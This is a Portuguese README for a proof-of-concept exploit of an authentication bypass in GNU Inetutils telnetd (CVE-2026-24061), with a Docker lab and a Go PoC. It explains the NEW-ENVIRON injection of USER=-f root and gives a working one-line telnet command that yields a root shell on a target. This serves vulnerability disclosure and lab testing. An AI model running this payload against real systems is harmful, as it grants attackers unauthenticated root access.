
Exploit de prova de conceito para bypass de autenticação no telnetd do GNU Inetutils (CVE-2026-24061) com configuração de laboratório Docker e PoC em Go. Explora a opção NEW-ENVIRON para obter shell root.
Sério, telnet em 2026? Qual é, pessoal, está na hora de evoluir. SSH existe desde 1995. 🤦
Uma vulnerabilidade crítica de bypass de autenticação no telnetd do GNU Inetutils afetando as versões 1.9.3 a 2.7.
A vulnerabilidade explora a opção telnet NEW-ENVIRON para injetar argumentos maliciosos em login(1). Ao definir USER=-f root via protocolo telnet, um atacante pode contornar a autenticação e obter um shell root sem credenciais.
O protocolo telnet suporta a opção NEW-ENVIRON (RFC 1572) que permite ao cliente enviar variáveis de ambiente para o servidor. O daemon telnetd passa a variável USER para login(1) como argumento.
Ao enviar USER=-f root, o valor é interpretado como:
-f: Pular autenticação (host confiável)root: Usuário alvoIsto faz com que login -f root seja executado, concedendo acesso root imediato.
O PoC detecta a exploração bem-sucedida verificando IAC WILL ECHO (0xff 0xfb 0x01) - o sinal de protocolo que o servidor envia quando o acesso ao shell é concedido.
# Build and run the vulnerable telnetd container
docker compose up --build -d
# Test the exploit
go run poc.go 127.0.0.1 2323
# Using the Go PoC (with interactive shell)
go run poc.go <target> <port>
# Simple PoC using standard telnet client
env USER='-f root' telnet -a <target> <port>
poc.go - Exploit em Go com shell interativoDockerfile - Contêiner telnetd vulneráveldocker-compose.yml - Orquestração do laboratório